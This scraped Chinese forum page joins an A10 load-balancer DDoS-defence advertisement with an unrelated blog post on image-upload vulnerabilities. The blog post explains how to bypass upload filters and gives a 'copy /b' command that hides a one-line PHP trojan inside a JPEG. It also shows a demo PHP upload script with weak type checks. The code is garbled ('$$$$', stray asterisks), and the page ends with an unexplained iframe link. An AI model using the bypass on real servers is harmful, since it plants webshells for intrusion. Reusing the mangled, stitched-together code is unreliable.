文件上传漏洞防御——图片写马的剔除

2013/9/14 11:42:00  人气 3733    怀旧国机论坛  
:负载均衡设备作为关键应用的入口,自然也成为各种攻击的目标所在。如何确保负载均衡设备在自身不会瘫痪的前提下保护后端服务器,是负载均衡器必须解决的问题。事实上,负载均衡设备从诞生之日起,其高并发会话和新建连接速率让防火墙产品相形见绌。另外,绝*br*更多*br*负载均衡设备作为关键应用的入口,自然也成为各种攻击的目标所在。如何确保负载均衡设备在自身不会瘫痪的前提下保护后端 服务器,是负载均衡器必须解决的问题。事实上,负载均衡设备从诞生之日起,其高并发会话和新建连接速率让防火墙产品相形见绌。另外,绝大部分 攻击目标IP恰好是落在负载均衡设备上的虚拟IP(VIP),相对于防火墙处理经过流量的方式,负载均衡设备更了解这些应用应该如何保护,自然适合施加针对虚拟IP和后端 服务器的策略。在负载均衡设备外面设置防火墙的,是一些用户既有的管理原因导致。对于真正大流量的互联网应用,鲜有在负载均衡设备外侧部署防火墙的。下面以A10 网络的AX产品具备的各种攻击防御方式进行介绍。*br*1. 首先,针对最常见的SYN Flooding攻击,负载均衡设备采用广为使用的SYN Cookie机制进行防御。用户关注的就是其SYN Cookie性能了。A10的高端设备采用硬件处理SYN-Cookie,可以防御高达50M SYN/Sec(约3个万兆+3个千兆端口打满攻击流量)的DDoS攻击,而且对CPU影响为0.*br*2. ICMP速率限制。针对类似Smurf的基于大量PING的攻击,负载均衡设备可以限制每秒处理的ICMP包数量。*br*3. 基于源IP的连接速率限制,适用于TCP和UDP。越来越多的分布式DoS攻击为有效TCP连接或者UDP攻击。对于来自单一IP连接速率超过设定值的,负载均衡设备可以对该IP地址采取丢弃、发送日志告警、锁定一定时间等多种操作。*br*4. IP异常攻击防御。针对Land-attack,Ping-of-Death等常见攻击类型,A10的负载均衡设备可以检测并丢弃。*br*5. 访问控制列表(ACL),基于IP五元组进行过滤,不再赘述。*br*6. 基于策略的服务器负载均衡(PBSLB),A10的负载均衡设备可以支持高达800万条主机记录的黑白名单,该名单可以通过TFTP服务器定期自动更新,更新期间无过渡 漏洞。较之路由器的ACL或防火墙策略数量高出数十倍。可以针对该名单内地址限制连接数量,可以分为不同组,选择丢弃或转发到不同组服务器。该特性可以与A10其它防攻击特性结合动态生成黑白名单。*br*7. 虚拟服务器/服务器连接数量限制。根据服务器的能力,限制分配到单台服务器或整个虚拟服务器的连接数量。避免服务器由于连接过多而瘫痪。该限制可应用于服务器或其某个服务端口。*br*8. 虚拟服务器/服务器连接速率限制。上一项限制的是同时保持的静态连接数量,这一项则是限制新建连接的速率。对于大量短连接攻击或突发流量,并发连接数不大,但大量新建连接同样可以让服务器瘫痪。*br*9. HTTP并发请求限制和请求速率限制。针对目前大量的CC攻击,上述基于连接数和连接速率的限制已经无能为力,因为CC攻击往往是在单一TCP连接上发送大量HTTP请求。A10的负载均衡设备将基于7层请求的攻击防御与强大的黑白名单功能结合,可以限制单一IP来源的并发总连接数、新建连接速率、并发请求数、请求速率。不同用户IP可以分为不同组,设置不同参数。*br*10. DNS合规性检查。针对应用之首的DNS,攻击防御更是不可忽视。除了上述通用特性外,A10的负载均衡设备可以检查DNS数据包得合规性,对于格式不符合DNS协议标准的数据包进行过滤或转发到专门的 安全设备。*br*11. 动态DNS缓存功能。由于DNS服务器能力有限,如何在有异常流量时保护DNS服务器并让DNS服务正常运行,是用户渴望解决的问题。A10的动态DNS缓存功能可以根据后端DNS服务器能力设置阈值,当针对某个域名的请求达到一定数量时,可以动态启用该域名的缓存功能,有负载均衡设备应答DNS请求。这个功能的前提是负载均衡设备的DNS处理能力足够高。A10的入门级64位产品的DNS处理能力即可达到150万DNS QPS(DNS请求/秒)。*br*12. 自定义脚本。基于tcl语言的自定义脚本可以让用户根据需求定义更为灵活的安全策略,尤其是A10的自定义脚本可以调用上述高达800万条目的黑白名单。*br*以上只是每个安全特性的简单描述,每个安全特性都有一些细节功能,可以解决很多用户头疼的安全问题。后期会选择部分功能详细介绍。 :最近回顾了一下CasperKid大牛在2011年11月发布的Upload Attack Framework,非常有感触,写得非常好,想深入了解这个漏洞的都推荐看看。 上传功能常见于图片的上传,例如博客头像设置,广告位图片上传等。 上传检测方法在paper中也写的比较明朗,这里总结一下
更多
最近回顾了一下CasperKid大牛在2011年11月发布的Upload Attack Framework,非常有感触,写得非常好,想深入了解这个漏洞的都推荐看看。
上传功能常见于图片的上传,例如博客头像设置,广告位图片上传等。
上传检测方法在paper中也写的比较明朗,这里总结一下:
1. 客户端使用JS对上传图片做检测,例如文件大小,文件扩展名,文件类型
2. 服务端检测,例如文件大小(免得拒绝服务),文件路径(避免0x00截断,目录遍历),文件扩展名(避免 服务器以非图片的文件格式解析文件),文件类型(避免修改Content-Type为image/jpeg等),文件内容(避免图片写马)
上传检测绕过的方法,也总结一下:
1.客户端检测,相当于没有检测,可以使用HTTP代理例如burp绕过
2.服务端检测,一般采用白名单+黑名单的方式,但也极有可能出纰漏。例如大小写,不在名单内的特例,操作系统bt特性(windows系统会自动去掉文件名最后面的点和空格),0x00截断,服务器文件解析漏洞,最后还有图片写马绕过类型检测
本篇博客重点讲讲图片写马的检测。
我们知道PHP中文件类型的检测可以使用
1.$$$$_FILES*‘uploaded‘**‘type‘*;
2.getimagesize
两种方式来判断是否是正常图片,其实只要在不破坏图片文件格式的情况下,就可以绕过检测
例如使用以下命令,将正常图片与一句话php木马绑定在一起生成一个新的文件的方式
copy /b tangwei.jpg+yijuhua.php tangweiyijuhua.jpg
我们查看新生图片的内容,在图片底端可以看到一句话木马写入,如下图所示
strings tangweiyijuhua.jpg
接下来我们演示这张图片是否能正常上传。
试验用到了两个脚本
1.upload.html 上传客户端
<html>
<head>
</head>
<body>
<form id=“form1“ name=“form1“ enctype=“multipart/form-data“ method=“post“ action=“upload.php“>
<label>Choose an image to upload
<input type=“file“ name=“uploaded“ />
</label>
<p>
<label>
<input type=“submit“ name=“upload“ value=“upload“/>
</label>
</p>
</form>
</body>
</html>
2. upload.php 上传文件处理
这个脚本会检测文件后缀与文件类型,符合白名单jpeg格式的才允许上传,并打印出上传文件的基本信息及显示图片。
注意:红色字体部分可以先注释掉,下一步演示中会使用到
<?php
if (isset($$$$_POST*‘upload‘*)){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$$$$filename = $$$$_FILES*‘uploaded‘**‘name‘*;
$$$$filetype = $$$$_FILES*‘uploaded‘**‘type‘*;
$$$$filesize = $$$$_FILES*‘uploaded‘**‘size‘*;
print “<pre> File name : $$$$filename </pre><br/>“;
print “<pre> File type : $$$$filetype </pre><br/>“;
print “<pre> File size : $$$$filesize </pre><br/>“;
$$$$tmpname = $$$$_FILES*‘uploaded‘**‘tmp_name‘*;
print “<pre> Temp File path : $$$$tmpname </pre><br/>“;
$$$$uploaddir=‘/var/www/upload/‘;
$$$$target_path=$$$$uploaddir.basename($$$$filename);
// 获得上传文件的扩展名
$$$$fileext= substr(strrchr($$$$filename,“.“),1);
print “<pre>File extension : $$$$fileext </pre><br/>“;
$$$$serverip = $$$$_SERVER*‘SERVER_ADDR‘*;
//判断文件后缀与类型,合法才进行上传操作
if(($$$$fileext == “jpg“) && ($$$$filetype==“image/jpeg“)){
if(move_uploaded_file($$$$tmpname,$$$$target_path)){
print $$$$target_path.“ successfully uploaded ! <br/>“;
//显示上传的图片
print ‘<b>Origin image</b> <img src=“http://‘.$$$$serverip.‘/upload/‘.basename($$$$filename).‘“/>‘;
//使用上传的图片生成新的图片
$$$$im = image*fromjpeg($$$$target_path);
//给新图片指定文件名
srand(time());
$$$$newfilename = strval(rand()).“.jpg“;
print “<pre>new file name $$$$newfilename </pre><br/>“;
$$$$newimagepath = $$$$uploaddir.$$$$newfilename;
imagejpeg($$$$im,$$$$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
print ‘<b>New image</b><img src=“http://‘.$$$$_SERVER*‘SERVER_ADDR‘*.‘/upload/‘.$$$$newfilename.‘“/>‘;
}else{
print “<pre>Your image was not uploaded. </pre><br/>“;
}
}else{
print “<pre>Your image was not uploaded.</pre> <br/>“;
}
}else{
print “<pre>Your image was not uploaded.</pre> <br/>“;
}
?>
进行上传操作,我们会发现写马后的图片也能正常生成预览,

. [iframe=2*2]http://url.cn/FLfTXA[/iframe]

发表回复

   


  通知楼主